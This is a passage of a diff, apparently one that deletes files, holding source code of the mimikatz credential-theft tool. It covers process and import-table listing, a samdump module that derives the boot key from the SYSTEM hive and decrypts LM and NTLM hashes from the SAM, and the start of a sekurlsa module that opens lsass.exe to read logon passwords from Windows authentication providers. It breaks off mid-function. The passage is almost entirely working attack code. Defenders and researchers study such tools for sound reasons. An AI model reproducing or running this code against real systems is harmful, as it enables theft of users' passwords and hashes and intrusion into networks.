bool mod_mimikatz_process::modules(vector<wstring> * arguments)
|
||||
{
|
||||
DWORD processId = 0 ;
|
||||
|
||||
if(!arguments->empty() && !(arguments->size() > 1))
|
||||
{
|
||||
wstringstream monBuffer;
|
||||
monBuffer << arguments->front();
|
||||
monBuffer >> processId;
|
||||
}
|
||||
|
||||
vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>();
|
||||
if(mod_process::getModulesListForProcessId(vectorModules, &processId))
|
||||
{
|
||||
(*outputStream) << L"@Base\tTaille\tModule\tPath" << endl;
|
||||
for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); ++monModule)
|
||||
{
|
||||
(*outputStream) << monModule->modBaseAddr << L'\t' << monModule->modBaseSize << '\t' << monModule->szModule << L'\t' << monModule->szExePath << endl;
|
||||
}
|
||||
}
|
||||
else
|
||||
(*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete vectorModules;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_process::iat(vector<wstring> * arguments)
|
||||
{
|
||||
wstring process;
|
||||
wstring module;
|
||||
|
||||
switch(arguments->size())
|
||||
{
|
||||
case 2:
|
||||
process = arguments->at(0);
|
||||
module = arguments->at(1);
|
||||
break;
|
||||
case 1:
|
||||
process = arguments->at(0);
|
||||
break;
|
||||
default:
|
||||
;
|
||||
}
|
||||
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
if(mod_process::getUniqueForName(&monProcess, &process))
|
||||
{
|
||||
if(HANDLE monHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, monProcess.th32ProcessID))
|
||||
{
|
||||
if(module.empty() || (module.front() != L'*'))
|
||||
{
|
||||
if(module.empty())
|
||||
module.assign(process);
|
||||
|
||||
mod_process::KIWI_MODULEENTRY32 * monModule = new mod_process::KIWI_MODULEENTRY32();
|
||||
if(mod_process::getUniqueModuleForName(monModule, &module, &monProcess.th32ProcessID))
|
||||
{
|
||||
printIATFromModule(monModule, monHandle);
|
||||
}
|
||||
else (*outputStream) << L"mod_process::getUniqueModuleForName ; " << mod_system::getWinError() << endl;
|
||||
delete monModule;
|
||||
}
|
||||
else
|
||||
{
|
||||
vector<mod_process::KIWI_MODULEENTRY32> * vectorModules = new vector<mod_process::KIWI_MODULEENTRY32>();
|
||||
if(mod_process::getModulesListForProcessId(vectorModules, &monProcess.th32ProcessID))
|
||||
{
|
||||
for(vector<mod_process::KIWI_MODULEENTRY32>::iterator monModule = vectorModules->begin(); monModule != vectorModules->end(); monModule++)
|
||||
printIATFromModule(&*monModule, monHandle);
|
||||
}
|
||||
else (*outputStream) << L"mod_process::getModulesListForProcessId ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete vectorModules;
|
||||
}
|
||||
|
||||
CloseHandle(monHandle);
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"mod_process::getUniqueForName ; " << mod_system::getWinError() << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void mod_mimikatz_process::printInfosFromPid(DWORD &PID, DWORD ThreadId)
|
||||
{
|
||||
(*outputStream) << L"PID : " << PID << endl;
|
||||
|
||||
if(ThreadId)
|
||||
{
|
||||
(*outputStream) << L"ThreadID : " << ThreadId << endl;
|
||||
}
|
||||
|
||||
LUID monId = {0, 0};
|
||||
if(mod_process::getAuthentificationIdFromProcessId(PID, monId))
|
||||
{
|
||||
(*outputStream) << "AuthId_h : " << monId.HighPart << endl;
|
||||
(*outputStream) << "AuthId_l : " << monId.LowPart << endl;
|
||||
}
|
||||
else (*outputStream) << L"Erreur : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
void mod_mimikatz_process::printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle)
|
||||
{
|
||||
(*outputStream) << monModule->szModule << L" -> " << monModule->szExePath << endl;
|
||||
PBYTE baseAddr = reinterpret_cast<PBYTE>(monModule->modBaseAddr);
|
||||
|
||||
vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>> * monIAT = new vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>();
|
||||
if(mod_process::getIAT(baseAddr, monIAT, monHandle))
|
||||
{
|
||||
for(vector<pair<string, vector<mod_process::KIWI_IAT_MODULE>>>::iterator monModuleImporte = monIAT->begin(); monModuleImporte != monIAT->end(); monModuleImporte++)
|
||||
{
|
||||
(*outputStream) << L" - Imports depuis : " << monModuleImporte->first.c_str() << endl;
|
||||
for(vector<mod_process::KIWI_IAT_MODULE>::iterator maFonctionImporte = monModuleImporte->second.begin(); maFonctionImporte != monModuleImporte->second.end(); maFonctionImporte++)
|
||||
{
|
||||
(*outputStream) << L" " << maFonctionImporte->ptrToFunc << L" -> " << maFonctionImporte->ptrFunc << L' ';
|
||||
if(maFonctionImporte->Ordinal != 0)
|
||||
(*outputStream) << L"O# " << maFonctionImporte->Ordinal;
|
||||
else
|
||||
(*outputStream) << maFonctionImporte->funcName.c_str();
|
||||
(*outputStream) << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
delete monIAT;
|
||||
}
|
@ -1,32 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_process.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_process
|
||||
{
|
||||
private:
|
||||
static void printInfosFromPid(DWORD &PID, DWORD ThreadId);
|
||||
static void printIATFromModule(mod_process::KIWI_MODULEENTRY32 * monModule, HANDLE monHandle = INVALID_HANDLE_VALUE);
|
||||
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool list(vector<wstring> * arguments);
|
||||
|
||||
static bool start(vector<wstring> * arguments);
|
||||
static bool suspend(vector<wstring> * arguments);
|
||||
static bool resume(vector<wstring> * arguments);
|
||||
static bool stop(vector<wstring> * arguments);
|
||||
|
||||
|
||||
static bool modules(vector<wstring> * arguments);
|
||||
static bool iat(vector<wstring> * arguments);
|
||||
};
|
||||
|
@ -1,351 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_samdump.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_samdump::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"hashes", L"Récupère la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(bootkey, L"bootkey", L"Récupère la bootkey depuis une ruche SYSTEM"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::bootkey(vector<wstring> * arguments)
|
||||
{
|
||||
unsigned char bootkey[0x10];
|
||||
if(!arguments->empty())
|
||||
getInfosFromHive(arguments->front(), bootkey);
|
||||
else
|
||||
getInfosFromReg(bootkey);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::full(vector<wstring> * arguments)
|
||||
{
|
||||
unsigned char bootkey[0x10];
|
||||
if(!arguments->empty() && (arguments->size() >= 1 && arguments->size() <= 2))
|
||||
{
|
||||
if(getInfosFromHive(arguments->front().c_str(), bootkey))
|
||||
{
|
||||
if(!getUsersAndHashesFromHive(arguments->back().c_str(), bootkey))
|
||||
(*outputStream) << L"Erreur lors de l\'exploration des ruches" << endl;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if(getInfosFromReg(bootkey))
|
||||
{
|
||||
if(!getUsersAndHashesFromReg(bootkey))
|
||||
(*outputStream) << L"Erreur lors de l\'exploration du registre" << endl;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
mod_hive::hive * monHive = new mod_hive::hive();
|
||||
mod_hive::InitHive(monHive);
|
||||
if(mod_hive::RegOpenHive(samHive.c_str(), monHive))
|
||||
{
|
||||
string * rootKey = new string();
|
||||
if(mod_hive::RegGetRootKey(monHive, rootKey))
|
||||
{
|
||||
string * keyAccountName = new string(*rootKey); keyAccountName->append("\\SAM\\Domains\\Account");
|
||||
string * valAccountName = new string("F");
|
||||
int longueurF = 0; unsigned char *bufferF = NULL;
|
||||
|
||||
if(mod_hive::RegOpenKeyQueryValue(monHive, keyAccountName, valAccountName, &bufferF, &longueurF))
|
||||
{
|
||||
BYTE hBootKey[0x20] = {0};
|
||||
if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF))
|
||||
{
|
||||
string * keyUsers = new string(*rootKey); keyUsers->append("\\SAM\\Domains\\Account\\Users");
|
||||
mod_hive::nk_hdr * nodeUsers = new mod_hive::nk_hdr();
|
||||
if(mod_hive::RegOpenKey(monHive, keyUsers, &nodeUsers ))
|
||||
{
|
||||
vector<string> * keyNames = new vector<string>();
|
||||
if(reussite = mod_hive::RegEnumKey(monHive, nodeUsers, keyNames))
|
||||
{
|
||||
for(vector<string>::iterator maKey = keyNames->begin(); maKey != keyNames->end(); maKey++)
|
||||
{
|
||||
if(maKey->compare("Names") != 0)
|
||||
{
|
||||
string * keyUser = new string(*keyUsers); keyUser->append("\\"); keyUser->append(*maKey);
|
||||
string valUserF = "F"; mod_hash::USER_F * userF = NULL; int longueurF = 0;
|
||||
string valUserV = "V"; mod_hash::USER_V * userV = NULL; int longueurV = 0;
|
||||
|
||||
if(reussite &= mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserV, reinterpret_cast<unsigned char **>(&userV), &longueurV) &&
|
||||
mod_hive::RegOpenKeyQueryValue(monHive, keyUser, &valUserF, reinterpret_cast<unsigned char **>(&userF), &longueurF))
|
||||
{
|
||||
infosFromUserAndKey(userF, userV, hBootKey);
|
||||
delete[] userF, userV;
|
||||
}
|
||||
delete keyUser;
|
||||
}
|
||||
}
|
||||
}
|
||||
delete keyNames;
|
||||
}
|
||||
delete nodeUsers, keyUsers;
|
||||
}
|
||||
delete[] bufferF;
|
||||
}
|
||||
delete valAccountName, keyAccountName;
|
||||
}
|
||||
delete rootKey;
|
||||
}
|
||||
delete monHive;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
mod_hive::hive * monHive = new mod_hive::hive();
|
||||
mod_hive::InitHive(monHive);
|
||||
|
||||
if(mod_hive::RegOpenHive(systemHive.c_str(), monHive))
|
||||
{
|
||||
string * rootKey = new string();
|
||||
if(mod_hive::RegGetRootKey(monHive, rootKey))
|
||||
{
|
||||
DWORD nControlSet = 0;
|
||||
if(getNControlSetFromHive(monHive, rootKey, &nControlSet))
|
||||
{
|
||||
stringstream * monControlSet = new stringstream;
|
||||
*monControlSet << *rootKey << "\\ControlSet" << setw(3) << setfill('0') << nControlSet;
|
||||
string * fullControlSet = new string(monControlSet->str());
|
||||
delete monControlSet;
|
||||
|
||||
wstring * computerName = new wstring();
|
||||
if(getComputerNameFromHive(monHive, fullControlSet, computerName))
|
||||
(*outputStream) << L"Ordinateur : " << *computerName << endl;
|
||||
delete computerName;
|
||||
|
||||
if(reussite = getBootKeyFromHive(monHive, fullControlSet, bootkey))
|
||||
(*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl;
|
||||
delete fullControlSet;
|
||||
}
|
||||
}
|
||||
delete rootKey;
|
||||
mod_hive::RegCloseHive(monHive);
|
||||
}
|
||||
delete monHive;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
string * keyComputerName = new string(*fullControlSet); keyComputerName->append("\\Control\\ComputerName\\ComputerName");
|
||||
string * valComputerName = new string("ComputerName");
|
||||
int longueur = 0; unsigned char *buffer = NULL;
|
||||
if(reussite = mod_hive::RegOpenKeyQueryValue(theHive, keyComputerName, valComputerName, &buffer, &longueur))
|
||||
{
|
||||
computerName->assign(reinterpret_cast<wchar_t *>(buffer), longueur / sizeof(wchar_t));
|
||||
delete[] buffer;
|
||||
}
|
||||
delete valComputerName;
|
||||
delete keyComputerName;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
unsigned char key[0x10];
|
||||
char *kn[] = {"JD", "Skew1", "GBG", "Data"};
|
||||
|
||||
for(unsigned int i = 0; i < sizeof(kn) / sizeof(char *); i++ )
|
||||
{
|
||||
string * maKey = new string(*fullControlSet); maKey->append("\\Control\\Lsa\\"); maKey->append(kn[i]);
|
||||
mod_hive::nk_hdr * n = new mod_hive::nk_hdr();
|
||||
|
||||
if(reussite = mod_hive::RegOpenKey(theHive, maKey, &n))
|
||||
{
|
||||
char kv[9] = {0};
|
||||
unsigned char *b = mod_hive::read_data(theHive, n->classname_off + 0x1000);
|
||||
for(short j = 0; j < (n->classname_len / 2) && j < 8; j++)
|
||||
kv[j] = b[j*2];
|
||||
sscanf_s(kv, "%x", (unsigned int*) (&key[i*4]));
|
||||
}
|
||||
delete n, maKey;
|
||||
}
|
||||
|
||||
if(reussite)
|
||||
mod_hash::getBootKeyFromKey(bootkey, key);
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getBootKeyFromReg(BYTE bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
DWORD code;
|
||||
BYTE key[0x10] = {0};
|
||||
wchar_t * kn[] = {L"JD", L"Skew1", L"GBG", L"Data"};
|
||||
HKEY monLSA;
|
||||
code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, KEY_READ, &monLSA);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
for(unsigned int i = 0; (i < sizeof(kn) / sizeof(wchar_t *)) && (code == ERROR_SUCCESS); i++ )
|
||||
{
|
||||
HKEY monSecret;
|
||||
code = RegOpenKeyEx(monLSA, kn[i], 0, KEY_READ, &monSecret);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
wchar_t monBuffer[8 + 1];
|
||||
DWORD maTaille = 8 + 1;
|
||||
|
||||
code = RegQueryInfoKey(monSecret, monBuffer, &maTaille, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
if(code == ERROR_SUCCESS)
|
||||
swscanf_s(monBuffer, L"%x", (DWORD *) (&key[i * sizeof(DWORD)]));
|
||||
else (*outputStream) << L"RegQueryInfoKey " << kn[i] << " : " << mod_system::getWinError(false, code) << endl;
|
||||
RegCloseKey(monSecret);
|
||||
} else (*outputStream) << L"RegOpenKeyEx " << kn[i] << " : " << mod_system::getWinError(false, code) << endl;
|
||||
}
|
||||
RegCloseKey(monLSA);
|
||||
} else (*outputStream) << L"RegOpenKeyEx LSA : " << mod_system::getWinError(false, code) << endl;
|
||||
|
||||
if(reussite = (code == ERROR_SUCCESS))
|
||||
mod_hash::getBootKeyFromKey(bootkey, key);
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
|
||||
bool mod_mimikatz_samdump::getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
string * selectKey = new string(*rootKey); selectKey->append("\\Select");
|
||||
string * nDefault = new string("Default");
|
||||
int longueur = 0; unsigned char *buffer = NULL;
|
||||
|
||||
if(mod_hive::RegOpenKeyQueryValue(theHive, selectKey, nDefault, &buffer, &longueur))
|
||||
{
|
||||
if(reussite = (longueur == sizeof(DWORD)))
|
||||
*nControlSet = *(DWORD *) (buffer);
|
||||
delete[] buffer;
|
||||
}
|
||||
|
||||
delete nDefault, selectKey;
|
||||
return reussite;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_samdump::getInfosFromReg(BYTE bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
wstring * computerName = new wstring();
|
||||
if(mod_system::getComputerName(computerName))
|
||||
(*outputStream) << L"Ordinateur : " << *computerName << endl;
|
||||
delete computerName;
|
||||
|
||||
if(reussite = getBootKeyFromReg(bootkey))
|
||||
(*outputStream) << L"BootKey : " << mod_text::stringOfHex(bootkey, 0x10) << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_samdump::getUsersAndHashesFromReg(BYTE bootkey[0x10])
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
DWORD code;
|
||||
HKEY maSAM;
|
||||
code = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SAM\\SAM\\Domains\\Account", 0, KEY_READ, &maSAM);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD tailleRequise = 0;
|
||||
code = RegQueryValueEx(maSAM, L"F", NULL, NULL, NULL, &tailleRequise);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
BYTE * bufferF = new BYTE[tailleRequise];
|
||||
code = RegQueryValueEx(maSAM, L"F", NULL, NULL, bufferF, &tailleRequise);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
BYTE hBootKey[0x10] = {0};
|
||||
if(mod_hash::getHbootKeyFromBootKeyAndF(hBootKey, bootkey, bufferF))
|
||||
{
|
||||
HKEY mesUsers;
|
||||
code = RegOpenKeyEx(maSAM, L"Users", 0, KEY_READ, &mesUsers);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
DWORD nombreUsers = 0, tailleMaxSousCle = 0;
|
||||
code = RegQueryInfoKey(mesUsers, NULL, NULL, NULL, &nombreUsers, &tailleMaxSousCle, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
if(reussite = (code == ERROR_SUCCESS))
|
||||
{
|
||||
tailleMaxSousCle++;
|
||||
wchar_t * monRid = new wchar_t[tailleMaxSousCle];
|
||||
for(DWORD i = 0; i < nombreUsers ; i++)
|
||||
{
|
||||
DWORD tailleRid = tailleMaxSousCle;
|
||||
code = RegEnumKeyExW(mesUsers, i, monRid, &tailleRid, NULL, NULL, NULL, NULL);
|
||||
if(code == ERROR_SUCCESS)
|
||||
{
|
||||
if(_wcsicmp(monRid, L"Names") != 0)
|
||||
{
|
||||
HKEY monUser;
|
||||
code = RegOpenKeyEx(mesUsers, monRid, 0, KEY_READ, &monUser);
|
||||
if(reussite &= (code == ERROR_SUCCESS))
|
||||
{
|
||||
DWORD tailleF = 0, tailleV = 0;
|
||||
if((RegQueryValueEx(monUser, L"F", NULL, NULL, NULL, &tailleF) == ERROR_SUCCESS) &&
|
||||
(RegQueryValueEx(monUser, L"V", NULL, NULL, NULL, &tailleV) == ERROR_SUCCESS))
|
||||
{
|
||||
mod_hash::USER_F * userF = reinterpret_cast<mod_hash::USER_F *>(new BYTE[tailleF]);
|
||||
mod_hash::USER_V * userV = reinterpret_cast<mod_hash::USER_V *>(new BYTE[tailleV]);
|
||||
|
||||
if((RegQueryValueEx(monUser, L"F", NULL, NULL, reinterpret_cast<BYTE *>(userF), &tailleF) == ERROR_SUCCESS) &&
|
||||
(RegQueryValueEx(monUser, L"V", NULL, NULL, reinterpret_cast<BYTE *>(userV), &tailleV) == ERROR_SUCCESS))
|
||||
infosFromUserAndKey(userF, userV, hBootKey);
|
||||
|
||||
delete[] userF, userV;
|
||||
}
|
||||
RegCloseKey(monUser);
|
||||
}
|
||||
}
|
||||
} else (*outputStream) << L"RegEnumKeyExW : " << mod_system::getWinError(false, code) << endl;
|
||||
}
|
||||
delete[] monRid;
|
||||
}
|
||||
RegCloseKey(mesUsers);
|
||||
} else (*outputStream) << L"RegOpenKeyEx Users : " << mod_system::getWinError(false, code) << endl;
|
||||
}
|
||||
} else (*outputStream) << L"RegQueryValueEx 2 F : " << mod_system::getWinError(false, code) << endl;
|
||||
delete[] bufferF;
|
||||
} else (*outputStream) << L"RegQueryValueEx 1 F : " << mod_system::getWinError(false, code) << endl;
|
||||
RegCloseKey(maSAM);
|
||||
} else (*outputStream) << L"RegOpenKeyEx SAM : " << mod_system::getWinError(false, code) << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
void mod_mimikatz_samdump::infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x10])
|
||||
{
|
||||
wstring hashLM, hashNTLM;
|
||||
mod_hash::decryptHash(&hashLM, hBootKey, userV, &userV->LM, userF->UserId, false);
|
||||
mod_hash::decryptHash(&hashNTLM, hBootKey, userV, &userV->NTLM, userF->UserId, true);
|
||||
(*outputStream) << endl <<
|
||||
L"Rid : " << userF->UserId << endl <<
|
||||
L"User : " << wstring((wchar_t *) (&(userV->datas) + userV->Username.offset), userV->Username.lenght / sizeof(wchar_t)) << endl <<
|
||||
L"LM : " << hashLM << endl <<
|
||||
L"NTLM : " << hashNTLM << endl
|
||||
;
|
||||
}
|
@ -1,34 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_hive.h"
|
||||
#include "mod_hash.h"
|
||||
#include "mod_system.h"
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
|
||||
class mod_mimikatz_samdump
|
||||
{
|
||||
private:
|
||||
static bool getNControlSetFromHive(mod_hive::hive * theHive, string * rootKey, DWORD * nControlSet);
|
||||
static bool getComputerNameFromHive(mod_hive::hive * theHive, string * fullControlSet, wstring * computerName);
|
||||
|
||||
static bool getBootKeyFromHive(mod_hive::hive * theHive, string * fullControlSet, unsigned char bootkey[0x10]);
|
||||
static bool getInfosFromHive(wstring systemHive, unsigned char bootkey[0x10]);
|
||||
static bool getUsersAndHashesFromHive(wstring samHive, unsigned char bootkey[0x10]);
|
||||
|
||||
static bool getBootKeyFromReg(BYTE bootkey[0x10]);
|
||||
static bool getInfosFromReg(BYTE bootkey[0x10]);
|
||||
static bool getUsersAndHashesFromReg(BYTE bootkey[0x10]);
|
||||
|
||||
static void infosFromUserAndKey(mod_hash::USER_F * userF, mod_hash::USER_V * userV, BYTE hBootKey[0x20]);
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool bootkey(vector<wstring> * arguments);
|
||||
static bool full(vector<wstring> * arguments);
|
||||
};
|
@ -1,364 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_sekurlsa.h"
|
||||
HMODULE mod_mimikatz_sekurlsa::hLsaSrv = NULL;
|
||||
HANDLE mod_mimikatz_sekurlsa::hLSASS = NULL;
|
||||
mod_process::KIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa::localLSASRV, *mod_mimikatz_sekurlsa::pModLSASRV = NULL;
|
||||
PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL;
|
||||
|
||||
bool mod_mimikatz_sekurlsa::lsassOK = false;
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> mod_mimikatz_sekurlsa::GLOB_ALL_Providers;
|
||||
vector<mod_mimikatz_sekurlsa::KIWI_MODULE_PKG_LSA> mod_mimikatz_sekurlsa::mesModules;
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_sekurlsa::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"énumère les sessions courantes du provider MSV1_0"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"énumère les sessions courantes du provider WDigest"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"énumère les sessions courantes du provider Kerberos"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"énumère les sessions courantes du provider TsPkg"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"énumère les sessions courantes du provider LiveSSP"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"énumère les sessions courantes du provider SSP (msv1_0)"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"énumère les sessions courantes des providers disponibles"));
|
||||
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mémoire de LSASS des mots de passes"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::getLogonPasswords(vector<wstring> * arguments)
|
||||
{
|
||||
if(searchLSASSDatas())
|
||||
getLogonData(arguments, &GLOB_ALL_Providers);
|
||||
else
|
||||
(*outputStream) << L"Données LSASS en erreur" << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::loadLsaSrv()
|
||||
{
|
||||
if(!hLsaSrv)
|
||||
hLsaSrv = LoadLibrary(L"lsasrv");
|
||||
|
||||
if(mesModules.empty())
|
||||
{
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV));
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG));
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST));
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS));
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV));
|
||||
if(mod_system::GLOB_Version.dwBuildNumber >= 8000)
|
||||
mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP));
|
||||
}
|
||||
return (hLsaSrv != NULL);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::unloadLsaSrv()
|
||||
{
|
||||
for(vector<KIWI_MODULE_PKG_LSA>::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++)
|
||||
if(*testModule->pModuleEntry)
|
||||
delete *testModule->pModuleEntry;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData();
|
||||
else
|
||||
mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData();
|
||||
|
||||
if(hLSASS)
|
||||
CloseHandle(hLSASS);
|
||||
if(hLsaSrv)
|
||||
FreeLibrary(hLsaSrv);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::searchLSASSDatas()
|
||||
{
|
||||
if(!lsassOK)
|
||||
{
|
||||
if(!hLSASS)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
wstring processName = L"lsass.exe";
|
||||
if(mod_process::getUniqueForName(&monProcess, &processName))
|
||||
{
|
||||
